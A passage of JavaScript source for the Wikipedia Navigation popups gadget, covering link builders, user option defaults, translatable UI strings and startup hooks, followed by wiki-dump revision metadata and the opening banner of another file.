if (mwTitle && mwTitle.getNamespaceId() > 0 && mwTitle.getNamespaceId() % 2 === 1) {
messageName = action === 'watch' ? 'addedwatchtext-talk' : 'removedwatchtext-talk';
} else {
messageName = action === 'watch' ? 'addedwatchtext' : 'removedwatchtext';
}
$.when(
getMwApi().postWithToken('watch', reqData),
getMwApi().loadMessagesIfMissing([messageName])
).done(() => {
mw.notify(mw.message(messageName, title).parseDom());
});
};
function magicHistoryLink(l) {
// FIXME use onclick change href trick to sort this out instead of window.open
let jsUrl = '',
title = '',
onClick = '';
switch (l.id) {
case 'lastContrib':
onClick = simplePrintf("pg.fn.getLastContrib('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('lastContribHint');
break;
case 'sinceMe':
onClick = simplePrintf("pg.fn.getDiffSinceMyEdit('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('sinceMeHint');
break;
}
jsUrl = 'javascript:' + onClick; // jshint ignore:line
onClick += ';return false;';
return generalNavLink({
url: jsUrl,
newWin: false, // can't have new windows with JS links, I think
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function popupMenuLink(l) {
const jsUrl = simplePrintf('javascript:pg.fn.%s()', [l.id]); // jshint ignore:line
const title = popupString(simplePrintf('%sHint', [l.id]));
const onClick = simplePrintf('pg.fn.%s();return false;', [l.id]);
return generalNavLink({
url: jsUrl,
newWin: false,
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function specialLink(l) {
// properties: article, specialpage, text, sep
if (typeof l.specialpage == 'undefined' || !l.specialpage) {
return null;
}
const base =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':' +
l.specialpage;
if (typeof l.sep == 'undefined' || l.sep === null) {
l.sep = '&target=';
}
let article = l.article.urlString({
keepSpaces: l.specialpage == 'Search',
});
let hint = popupString(l.specialpage + 'Hint');
switch (l.specialpage) {
case 'Log':
switch (l.sep) {
case '&user=':
hint = popupString('userLogHint');
break;
case '&type=block&page=':
hint = popupString('blockLogHint');
break;
case '&page=':
hint = popupString('pageLogHint');
break;
case '&type=protect&page=':
hint = popupString('protectLogHint');
break;
case '&type=delete&page=':
hint = popupString('deleteLogHint');
break;
default:
log('Unknown log type, sep=' + l.sep);
hint = 'Missing hint (FIXME)';
}
break;
case 'PrefixIndex':
article += '/';
break;
}
if (hint) {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
} else {
hint = safeDecodeURI(l.specialpage + ':' + l.article);
}
const url = base + l.sep + article;
return generalNavLink({
url: url,
title: hint,
text: l.text,
newWin: l.newWin,
noPopup: l.noPopup,
});
}
/**
* Builds a link from a object representing a link
*
* @param {Object} link
* @param {string} link.url URL
* @param {string} link.text The text to show for a link
* @param {string} link.title Title of the link, this shows up
* when you hover over the link
* @param {boolean} link.newWin Should open in a new Window
* @param {number} link.noPopup Should nest new popups from link (0 or 1)
* @param {string} link.onclick
* @return {string|null} null if no url is given
*/
function generalLink(link) {
if (typeof link.url == 'undefined') {
return null;
}
const elem = document.createElement( 'a' );
elem.href = link.url;
elem.title = link.title;
// The onclick event adds raw JS in textual form to the HTML.
// TODO: We should look into removing this, and/or auditing what gets sent.
elem.setAttribute( 'onclick', link.onclick );
if ( link.noPopup ) {
elem.setAttribute('noPopup', '1' );
}
let newWin;
if (typeof link.newWin == 'undefined' || link.newWin === null) {
newWin = getValueOf('popupNewWindows');
} else {
newWin = link.newWin;
}
if (newWin) {
elem.target = '_blank';
}
if (link.className) {
elem.className = link.className;
}
elem.innerText = pg.unescapeQuotesHTML(link.text);
return elem.outerHTML;
}
function appendParamsToLink(linkstr, params) {
const sp = linkstr.parenSplit(/(href="[^"]+?)"/i);
if (sp.length < 2) {
return null;
}
let ret = sp.shift() + sp.shift();
ret += '&' + params + '"';
ret += sp.join('');
return ret;
}
function changeLinkTargetLink(x) {
// newTarget, text, hint, summary, clickButton, minor, title (optional), alsoChangeLabel {
if (x.newTarget) {
log('changeLinkTargetLink: newTarget=' + x.newTarget);
}
if (x.oldTarget !== decodeURIComponent(x.oldTarget)) {
log('This might be an input problem: ' + x.oldTarget);
}
// FIXME: first character of page title as well as namespace should be case insensitive
// eg [[:category:X1]] and [[:Category:X1]] are equivalent
// this'll break if charAt(0) is nasty
const cA = mw.util.escapeRegExp(x.oldTarget);
let chs = cA.charAt(0).toUpperCase();
chs = '[' + chs + chs.toLowerCase() + ']';
let currentArticleRegexBit = chs + cA.substring(1);
currentArticleRegexBit = currentArticleRegexBit
.split(/(?:[_ ]+|%20)/g)
.join('(?:[_ ]+|%20)')
.split('\\(')
.join('(?:%28|\\()')
.split('\\)')
.join('(?:%29|\\))'); // why does this need to match encoded strings ? links in the document ?
// leading and trailing space should be ignored, and anchor bits optional:
currentArticleRegexBit = '\\s*(' + currentArticleRegexBit + '(?:#[^\\[\\|]*)?)\\s*';
// e.g. Computer (archaic) -> \s*([Cc]omputer[_ ](?:%2528|\()archaic(?:%2528|\)))\s*
// autoedit=s~\[\[([Cc]ad)\]\]~[[Computer-aided%20design|$1]]~g;s~\[\[([Cc]AD)[|]~[[Computer-aided%20design|~g
const title = x.title || mw.config.get('wgPageName').split('_').join(' ');
const lk = titledWikiLink({
article: new Title(title),
newWin: x.newWin,
action: 'edit',
text: x.text,
title: x.hint,
className: 'popup_change_title_link',
});
let cmd = '';
if (x.newTarget) {
// escape '&' and other nasties
const t = x.newTarget;
const s = mw.util.escapeRegExp(x.newTarget);
if (x.alsoChangeLabel) {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + ']]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + '|$1]]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
}
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~$1~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|](.*?)\\]\\]~$2~g';
}
// Build query
cmd = 'autoedit=' + encodeURIComponent(cmd);
cmd +=
'&autoclick=' +
encodeURIComponent(x.clickButton) +
'&actoken=' +
encodeURIComponent(autoClickToken());
cmd += x.minor === null ? '' : '&autominor=' + encodeURIComponent(x.minor);
cmd += x.watch === null ? '' : '&autowatch=' + encodeURIComponent(x.watch);
cmd += '&autosummary=' + encodeURIComponent(x.summary);
cmd += '&autoimpl=' + encodeURIComponent(popupString('autoedit_version'));
return appendParamsToLink(lk, cmd);
}
function redirLink(redirMatch, article) {
// NB redirMatch is in wikiText
let ret = '';
if (getValueOf('popupAppendRedirNavLinks') && getValueOf('popupNavLinks')) {
ret += '<hr />';
if (getValueOf('popupFixRedirs') && typeof autoEdit != 'undefined' && autoEdit) {
ret += popupString('Redirects to: (Fix ');
log('redirLink: newTarget=' + redirMatch);
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target'),
hint: popupString('Fix this redirect, changing just the link target'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
}),
'R'
);
ret += popupString(' or ');
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target & label'),
hint: popupString('Fix this redirect, changing the link target and label'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
alsoChangeLabel: true,
}),
'R'
);
ret += popupString(')');
} else {
ret += popupString('Redirects') + popupString(' to ');
}
return ret;
} else {
return (
'<br> ' +
popupString('Redirects') +
popupString(' to ') +
titledWikiLink({
article: new Title().fromWikiText(redirMatch),
action: 'view' /* FIXME: newWin */,
text: safeDecodeURI(redirMatch),
title: popupString('Bypass redirect'),
})
);
}
}
function arinLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!l.article.isIpUser() || !pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
return generalNavLink({
url: 'http://ws.arin.net/cgi-bin/whois.pl?queryinput=' + encodeURIComponent(uN),
newWin: l.newWin,
title: tprintf('Look up %s in ARIN whois database', [uN]),
text: l.text,
noPopup: 1,
});
}
function toolDbName(cookieStyle) {
let ret = mw.config.get('wgDBname');
if (!cookieStyle) {
ret += '_p';
}
return ret;
}
function saneLinkCheck(l) {
if (typeof l.article != typeof {} || typeof l.text != typeof '') {
return false;
}
return true;
}
function editCounterLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
const tool = getValueOf('popupEditCounterTool');
let url;
const defaultToolUrl = 'https://xtools.wmflabs.org/ec?user=$1&project=$2.$3&uselang=' + mw.config.get('wgUserLanguage');
switch (tool) {
case 'custom':
url = simplePrintf(getValueOf('popupEditCounterUrl'), [
encodeURIComponent(uN),
toolDbName(),
]);
break;
case 'soxred': // no longer available
case 'kate': // no longer available
case 'interiot': // no longer available
/* fall through */
case 'supercount':
default:
var theWiki = pg.wiki.hostname.split('.');
url = simplePrintf(defaultToolUrl, [encodeURIComponent(uN), theWiki[0], theWiki[1]]);
}
return generalNavLink({
url: url,
title: tprintf('editCounterLinkHint', [uN]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function globalSearchLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://global-search.toolforge.org/?uselang=' + mw.config.get('wgUserLanguage') + '&q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + article,
newWin: l.newWin,
title: tprintf('globalSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function googleLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://www.google.com/search?q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + '%22' + article + '%22',
newWin: l.newWin,
title: tprintf('googleSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function editorListLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const article = l.article.articleFromTalkPage() || l.article;
const url =
'https://xtools.wmflabs.org/articleinfo/' +
encodeURI(pg.wiki.hostname) +
'/' +
article.urlString() +
'?uselang=' +
mw.config.get('wgUserLanguage');
return generalNavLink({
url: url,
title: tprintf('editorListHint', [article]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function generalNavLink(l) {
l.className = l.className === null ? 'popupNavLink' : l.className;
return generalLink(l);
}
//////////////////////////////////////////////////
// magic history links
//
function getHistoryInfo(wikipage, whatNext) {
log('getHistoryInfo');
getHistory(
wikipage,
whatNext ?
(d) => {
whatNext(processHistory(d));
} :
processHistory
);
}
// FIXME eliminate pg.idNumber ... how? :-(
function getHistory(wikipage, onComplete) {
log('getHistory');
const url =
pg.wiki.apiwikibase +
'?format=json&formatversion=2&action=query&prop=revisions&titles=' +
new Title(wikipage).urlString() +
'&rvlimit=' +
getValueOf('popupHistoryLimit');
log('getHistory: url=' + url);
return startDownload(url, pg.idNumber + 'history', onComplete);
}
function processHistory(download) {
const jsobj = getJsObj(download.data);
try {
const revisions = anyChild(jsobj.query.pages).revisions;
const edits = [];
for (let i = 0; i < revisions.length; ++i) {
edits.push({ oldid: revisions[i].revid, editor: revisions[i].user });
}
log('processed ' + edits.length + ' edits');
return finishProcessHistory(edits, mw.config.get('wgUserName'));
} catch (someError) {
log('Something went wrong with JSON business');
return finishProcessHistory([]);
}
}
function finishProcessHistory(edits, userName) {
const histInfo = {};
histInfo.edits = edits;
histInfo.userName = userName;
for (let i = 0; i < edits.length; ++i) {
if (typeof histInfo.myLastEdit === 'undefined' && userName && edits[i].editor == userName) {
histInfo.myLastEdit = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
if (typeof histInfo.firstNewEditor === 'undefined' && edits[i].editor != edits[0].editor) {
histInfo.firstNewEditor = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
}
//pg.misc.historyInfo=histInfo;
return histInfo;
}
// ENDFILE: links.js
// STARTFILE: options.js
//////////////////////////////////////////////////
// options
// check for existing value, else use default
function defaultize(x) {
if (pg.option[x] === null || typeof pg.option[x] == 'undefined') {
if (typeof window[x] != 'undefined') {
pg.option[x] = window[x];
} else {
pg.option[x] = pg.optionDefault[x];
}
}
}
function newOption(x, def) {
pg.optionDefault[x] = def;
}
function setDefault(x, def) {
return newOption(x, def);
}
function getValueOf(varName) {
defaultize(varName);
return pg.option[varName];
}
/*eslint-disable */
function useDefaultOptions() {
// for testing
for (var p in pg.optionDefault) {
pg.option[p] = pg.optionDefault[p];
if (typeof window[p] != 'undefined') {
delete window[p];
}
}
}
/*eslint-enable */
function setOptions() {
// user-settable parameters and defaults
let userIsSysop = false;
if (mw.config.get('wgUserGroups')) {
for (let g = 0; g < mw.config.get('wgUserGroups').length; ++g) {
if (mw.config.get('wgUserGroups')[g] == 'sysop') {
userIsSysop = true;
}
}
}
// Basic options
newOption('popupDelay', 0.5);
newOption('popupHideDelay', 0.5);
newOption('simplePopups', false);
newOption('popupStructure', 'shortmenus'); // see later - default for popupStructure is 'original' if simplePopups is true
newOption('popupActionsMenu', true);
newOption('popupSetupMenu', true);
newOption('popupAdminLinks', userIsSysop);
newOption('popupShortcutKeys', false);
newOption('popupHistoricalLinks', true);
newOption('popupOnlyArticleLinks', true);
newOption('removeTitles', true);
newOption('popupMaxWidth', 350);
newOption('popupSimplifyMainLink', true);
newOption('popupAppendRedirNavLinks', true);
newOption('popupTocLinks', false);
newOption('popupSubpopups', true);
newOption('popupDragHandle', false /* 'popupTopLinks'*/);
newOption('popupLazyPreviews', true);
newOption('popupLazyDownloads', true);
newOption('popupAllDabsStubs', false);
newOption('popupDebugging', false);
newOption('popupActiveNavlinks', true);
newOption('popupModifier', false); // ctrl, shift, alt or meta
newOption('popupModifierAction', 'enable'); // or 'disable'
newOption('popupDraggable', true);
newOption('popupReview', false);
newOption('popupLocale', false);
newOption('popupDateTimeFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
newOption('popupDateFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
});
newOption('popupTimeFormatterOptions', {
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
// images
newOption('popupImages', true);
newOption('imagePopupsForImages', true);
newOption('popupNeverGetThumbs', false);
//newOption('popupImagesToggleSize', true);
newOption('popupThumbAction', 'imagepage'); //'sizetoggle');
newOption('popupImageSize', 60);
newOption('popupImageSizeLarge', 200);
// redirs, dabs, reversion
newOption('popupFixRedirs', false);
newOption('popupRedirAutoClick', 'wpDiff');
newOption('popupFixDabs', false);
newOption('popupDabsAutoClick', 'wpDiff');
newOption('popupRevertSummaryPrompt', false);
newOption('popupMinorReverts', false);
newOption('popupRedlinkRemoval', false);
newOption('popupRedlinkAutoClick', 'wpDiff');
newOption('popupWatchDisambiggedPages', null);
newOption('popupWatchRedirredPages', null);
newOption('popupDabWiktionary', 'last');
// navlinks
newOption('popupNavLinks', true);
newOption('popupNavLinkSeparator', ' ⋅ ');
newOption('popupLastEditLink', true);
newOption('popupEditCounterTool', 'supercount');
newOption('popupEditCounterUrl', '');
// previews etc
newOption('popupPreviews', true);
newOption('popupSummaryData', true);
newOption('popupMaxPreviewSentences', 5);
newOption('popupMaxPreviewCharacters', 600);
newOption('popupLastModified', true);
newOption('popupPreviewKillTemplates', true);
newOption('popupPreviewRawTemplates', true);
newOption('popupPreviewFirstParOnly', true);
newOption('popupPreviewCutHeadings', true);
newOption('popupPreviewButton', false);
newOption('popupPreviewButtonEvent', 'click');
// diffs
newOption('popupPreviewDiffs', true);
newOption('popupDiffMaxLines', 100);
newOption('popupDiffContextLines', 2);
newOption('popupDiffContextCharacters', 40);
newOption('popupDiffDates', true);
newOption('popupDiffDatePrinter', 'toLocaleString'); // no longer in use
// edit summaries. God, these are ugly.
newOption('popupReviewedSummary', popupString('defaultpopupReviewedSummary'));
newOption('popupFixDabsSummary', popupString('defaultpopupFixDabsSummary'));
newOption('popupExtendedRevertSummary', popupString('defaultpopupExtendedRevertSummary'));
newOption('popupRevertSummary', popupString('defaultpopupRevertSummary'));
newOption('popupRevertToPreviousSummary', popupString('defaultpopupRevertToPreviousSummary'));
newOption('popupQueriedRevertSummary', popupString('defaultpopupQueriedRevertSummary'));
newOption(
'popupQueriedRevertToPreviousSummary',
popupString('defaultpopupQueriedRevertToPreviousSummary')
);
newOption('popupFixRedirsSummary', popupString('defaultpopupFixRedirsSummary'));
newOption('popupRedlinkSummary', popupString('defaultpopupRedlinkSummary'));
newOption('popupRmDabLinkSummary', popupString('defaultpopupRmDabLinkSummary'));
// misc
newOption('popupHistoryLimit', 50);
newOption('popupFilters', [
popupFilterStubDetect,
popupFilterDisambigDetect,
popupFilterPageSize,
popupFilterCountLinks,
popupFilterCountImages,
popupFilterCountCategories,
popupFilterLastModified,
popupFilterWikibaseItem,
]);
newOption('extraPopupFilters', []);
newOption('popupOnEditSelection', 'cursor');
newOption('popupPreviewHistory', true);
newOption('popupImageLinks', true);
newOption('popupCategoryMembers', true);
newOption('popupUserInfo', true);
newOption('popupHistoryPreviewLimit', 25);
newOption('popupContribsPreviewLimit', 25);
newOption('popupRevDelUrl', '//en.wikipedia.org/wiki/Wikipedia:Revision_deletion');
newOption('popupShowGender', true);
// new windows
newOption('popupNewWindows', false);
newOption('popupLinksNewWindow', { lastContrib: true, sinceMe: true });
// regexps
newOption(
'popupDabRegexp',
'disambiguation\\}\\}|\\{\\{\\s*(d(ab|isamb(ig(uation)?)?)|(((geo|hn|road?|school|number)dis)|[234][lc][acw]|(road|ship)index))\\s*(\\|[^}]*)?\\}\\}|is a .*disambiguation.*page'
);
newOption('popupAnchorRegexp', 'anchors?'); //how to identify an anchors template
newOption('popupStubRegexp', '(sect)?stub[}][}]|This .*-related article is a .*stub');
newOption(
'popupImageVarsRegexp',
'image|image_(?:file|skyline|name|flag|seal)|cover|badge|logo'
);
}
// ENDFILE: options.js
// STARTFILE: strings.js
//////////////////////////////////////////////////
// Translatable strings
//////////////////////////////////////////////////
//
// See instructions at
// https://en.wikipedia.org/wiki/Wikipedia:Tools/Navigation_popups/Translation
pg.string = {
/////////////////////////////////////
// summary data, searching etc.
/////////////////////////////////////
article: 'article',
category: 'category',
categories: 'categories',
image: 'image',
images: 'images',
stub: 'stub',
'section stub': 'section stub',
'Empty page': 'Empty page',
kB: 'kB',
bytes: 'bytes',
day: 'day',
days: 'days',
hour: 'hour',
hours: 'hours',
minute: 'minute',
minutes: 'minutes',
second: 'second',
seconds: 'seconds',
week: 'week',
weeks: 'weeks',
search: 'search',
SearchHint: 'Find English Wikipedia articles containing %s',
web: 'web',
global: 'global',
globalSearchHint: 'Search across Wikipedias in different languages for %s',
googleSearchHint: 'Google for %s',
/////////////////////////////////////
// article-related actions and info
// (some actions also apply to user pages)
/////////////////////////////////////
actions: 'actions', ///// view articles and view talk
popupsMenu: 'popups',
togglePreviewsHint: 'Toggle preview generation in popups on this page',
'enable previews': 'enable previews',
'disable previews': 'disable previews',
'toggle previews': 'toggle previews',
'show preview': 'show preview',
reset: 'reset',
'more...': 'more...',
disable: 'disable popups',
disablePopupsHint: 'Disable popups on this page. Reload page to re-enable.',
historyfeedHint: 'RSS feed of recent changes to this page',
purgePopupsHint: 'Reset popups, clearing all cached popup data.',
PopupsHint: 'Reset popups, clearing all cached popup data.',
spacebar: 'space',
view: 'view',
'view article': 'view article',
viewHint: 'Go to %s',
talk: 'talk',
'talk page': 'talk page',
'this revision': 'this revision',
'revision %s of %s': 'revision %s of %s',
'Revision %s of %s': 'Revision %s of %s',
'the revision prior to revision %s of %s': 'the revision prior to revision %s of %s',
'Toggle image size': 'Click to toggle image size',
del: 'del', ///// delete, protect, move
delete: 'delete',
deleteHint: 'Delete %s',
undeleteShort: 'un',
UndeleteHint: 'Show the deletion history for %s',
protect: 'protect',
protectHint: 'Restrict editing rights to %s',
unprotectShort: 'un',
unprotectHint: 'Allow %s to be edited by anyone again',
'send thanks': 'send thanks',
ThanksHint: 'Send a thank you notification to this user',
move: 'move',
'move page': 'move page',
MovepageHint: 'Change the title of %s',
edit: 'edit', ///// edit articles and talk
'edit article': 'edit article',
editHint: 'Change the content of %s',
'edit talk': 'edit talk',
new: 'new',
'new topic': 'new topic',
newSectionHint: 'Start a new section on %s',
'null edit': 'null edit',
nullEditHint: 'Submit an edit to %s, making no changes ',
hist: 'hist', ///// history, diffs, editors, related
history: 'history',
historyHint: 'List the changes made to %s',
'History preview failed': 'History preview failed :-(',
last: 'prev', // For labelling the previous revision in history pages; the key is "last" for backwards compatibility
lastEdit: 'lastEdit',
'mark patrolled': 'mark patrolled',
markpatrolledHint: 'Mark this edit as patrolled',
'Could not marked this edit as patrolled': 'Could not marked this edit as patrolled',
'show last edit': 'most recent edit',
'Show the last edit': 'Show the effects of the most recent change',
lastContrib: 'lastContrib',
'last set of edits': 'latest edits',
lastContribHint: 'Show the net effect of changes made by the last editor',
cur: 'cur',
diffCur: 'diffCur',
'Show changes since revision %s': 'Show changes since revision %s',
'%s old': '%s old', // as in 4 weeks old
oldEdit: 'oldEdit',
purge: 'purge',
purgeHint: 'Demand a fresh copy of %s',
raw: 'source',
rawHint: 'Download the source of %s',
render: 'simple',
renderHint: 'Show a plain HTML version of %s',
'Show the edit made to get revision': 'Show the edit made to get revision',
sinceMe: 'sinceMe',
'changes since mine': 'diff my edit',
sinceMeHint: 'Show changes since my last edit',
"Couldn't find an edit by %s\nin the last %s edits to\n%s":
"Couldn't find an edit by %s\nin the last %s edits to\n%s",
eds: 'eds',
editors: 'editors',
editorListHint: 'List the users who have edited %s',
related: 'related',
relatedChanges: 'relatedChanges',
'related changes': 'related changes',
RecentchangeslinkedHint: 'Show changes in articles related to %s',
editOld: 'editOld', ///// edit old version, or revert
rv: 'rv',
revert: 'revert',
revertHint: 'Revert to %s',
defaultpopupReviewedSummary:
'Accepted by reviewing the [[Special:diff/%s/%s|difference]] between this version and previously accepted version using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRedlinkSummary:
'Removing link to empty page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixDabsSummary:
'Disambiguate [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixRedirsSummary:
'Redirect bypass from [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupExtendedRevertSummary:
'Revert to revision dated %s by %s, oldid %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertToPreviousSummary:
'Revert to the revision prior to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertSummary:
'Revert to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertToPreviousSummary:
'Revert to the revision prior to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertSummary:
'Revert to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRmDabLinkSummary:
'Remove link to dab page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
Redirects: 'Redirects', // as in Redirects to ...
' to ': ' to ', // as in Redirects to ...
'Bypass redirect': 'Bypass redirect',
'Fix this redirect': 'Fix this redirect',
disambig: 'disambig', ///// add or remove dab etc.
disambigHint: 'Disambiguate this link to [[%s]]',
'Click to disambiguate this link to:': 'Click to disambiguate this link to:',
'remove this link': 'remove this link',
'remove all links to this page from this article':
'remove all links to this page from this article',
'remove all links to this disambig page from this article':
'remove all links to this disambig page from this article',
mainlink: 'mainlink', ///// links, watch, unwatch
wikiLink: 'wikiLink',
wikiLinks: 'wikiLinks',
'links here': 'links here',
whatLinksHere: 'whatLinksHere',
'what links here': 'what links here',
WhatlinkshereHint: 'List the pages that are hyperlinked to %s',
unwatchShort: 'un',
watchThingy: 'watch', // called watchThingy because {}.watch is a function
watchHint: 'Add %s to my watchlist',
unwatchHint: 'Remove %s from my watchlist',
'Only found one editor: %s made %s edits': 'Only found one editor: %s made %s edits',
'%s seems to be the last editor to the page %s':
'%s seems to be the last editor to the page %s',
rss: 'rss',
/////////////////////////////////////
// diff previews
/////////////////////////////////////
'Diff truncated for performance reasons': 'Diff truncated for performance reasons',
'Old revision': 'Old revision',
'New revision': 'New revision',
'Something went wrong :-(': 'Something went wrong :-(',
'Empty revision, maybe non-existent': 'Empty revision, maybe non-existent',
'Unknown date': 'Unknown date',
/////////////////////////////////////
// other special previews
/////////////////////////////////////
'Empty category': 'Empty category',
'Category members (%s shown)': 'Category members (%s shown)',
'No image links found': 'No image links found',
'File links': 'File links',
'No image found': 'No image found',
'Image from Commons': 'Image from Commons',
'Description page': 'Description page',
'Alt text:': 'Alt text:',
revdel: 'Hidden revision',
/////////////////////////////////////
// user-related actions and info
/////////////////////////////////////
user: 'user', ///// user page, talk, email, space
'user page': 'user page',
'user talk': 'user talk',
'edit user talk': 'edit user talk',
'leave comment': 'leave comment',
email: 'email',
'email user': 'email user',
EmailuserHint: 'Send an email to %s',
space: 'space', // short form for userSpace link
PrefixIndexHint: 'Show pages in the userspace of %s',
count: 'count', ///// contributions, log
'edit counter': 'edit counter',
editCounterLinkHint: 'Count the contributions made by %s',
contribs: 'contribs',
contributions: 'contributions',
deletedContribs: 'deleted contributions',
DeletedcontributionsHint: 'List deleted edits made by %s',
ContributionsHint: 'List the contributions made by %s',
log: 'log',
'user log': 'user log',
userLogHint: "Show %s's user log",
arin: 'ARIN lookup', ///// ARIN lookup, block user or IP
'Look up %s in ARIN whois database': 'Look up %s in the ARIN whois database',
unblockShort: 'un',
block: 'block',
'block user': 'block user',
IpblocklistHint: 'Unblock %s',
BlockipHint: 'Prevent %s from editing',
'block log': 'block log',
blockLogHint: 'Show the block log for %s',
protectLogHint: 'Show the protection log for %s',
pageLogHint: 'Show the page log for %s',
deleteLogHint: 'Show the deletion log for %s',
'Invalid %s %s': 'The option %s is invalid: %s',
'No backlinks found': 'No backlinks found',
' and more': ' and more',
undo: 'undo',
undoHint: 'undo this edit',
'Download preview data': 'Download preview data',
'Invalid or IP user': 'Invalid or IP user',
'Not a registered username': 'Not a registered username',
BLOCKED: 'BLOCKED',
'Has blocks': 'Has blocks',
' edits since: ': ' edits since: ',
'last edit on ': 'last edit on ',
'he/him': 'he/him',
'she/her': 'she/her',
/////////////////////////////////////
// Autoediting
/////////////////////////////////////
'Enter a non-empty edit summary or press cancel to abort':
'Enter a non-empty edit summary or press cancel to abort',
'Failed to get revision information, please edit manually.\n\n':
'Failed to get revision information, please edit manually.\n\n',
'The %s button has been automatically clicked. Please wait for the next page to load.':
'The %s button has been automatically clicked. Please wait for the next page to load.',
'Could not find button %s. Please check the settings in your javascript file.':
'Could not find button %s. Please check the settings in your javascript file.',
/////////////////////////////////////
// Popups setup
/////////////////////////////////////
'Open full-size image': 'Open full-size image',
zxy: 'zxy',
autoedit_version: 'np20140416',
};
function popupString(str) {
if (typeof popupStrings != 'undefined' && popupStrings && popupStrings[str]) {
return popupStrings[str];
}
if (pg.string[str]) {
return pg.string[str];
}
return str;
}
function tprintf(str, subs) {
if (typeof subs != typeof []) {
subs = [subs];
}
return simplePrintf(popupString(str), subs);
}
// ENDFILE: strings.js
// STARTFILE: run.js
////////////////////////////////////////////////////////////////////
// Run things
////////////////////////////////////////////////////////////////////
// For some reason popups requires a fully loaded page jQuery.ready(...) causes problems for some.
// The old addOnloadHook did something similar to the below
if (document.readyState == 'complete') {
autoEdit();
}
//will setup popups
else {
$(window).on('load', autoEdit);
}
// Support for MediaWiki's live preview, VisualEditor's saves and Echo's flyout.
(function () {
let once = true;
function dynamicContentHandler($content) {
// Try to detect the hook fired on initial page load and disregard
// it, we already hook to onload (possibly to different parts of
// page - it's configurable) and running twice might be bad. Ugly…
if ($content.attr('id') == 'mw-content-text') {
if (once) {
once = false;
return;
}
}
function registerHooksForVisibleNavpops() {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
const navpop = pg.current.links[i].navpopup;
if (!navpop || !navpop.isVisible()) {
continue;
}
Navpopup.tracker.addHook(posCheckerHook(navpop));
}
}
function doIt() {
registerHooksForVisibleNavpops();
$content.each(function () {
this.ranSetupTooltipsAlready = false;
setupTooltips(this);
});
}
setupPopups(doIt);
}
// This hook is also fired after page load.
mw.hook('wikipage.content').add(dynamicContentHandler);
mw.hook('ext.echo.overlay.beforeShowingOverlay').add(($overlay) => {
dynamicContentHandler($overlay.find('.mw-echo-state'));
});
}());
});
// ENDFILE: run.js
0hg4w3d7wuyediu6mitbo1s6up4ghyu
768368
768366
2026-10-14T11:35:09Z
Johannes Richter (WMDE)
61456
test
768368
javascript
text/javascript
// STARTFILE: main.js
// **********************************************************************
// ** **
// ** changes to this file affect many users. **
// ** please discuss on the talk page before editing **
// ** **
// **********************************************************************
// ** **
// ** if you do edit this file, be sure that your editor recognizes it **
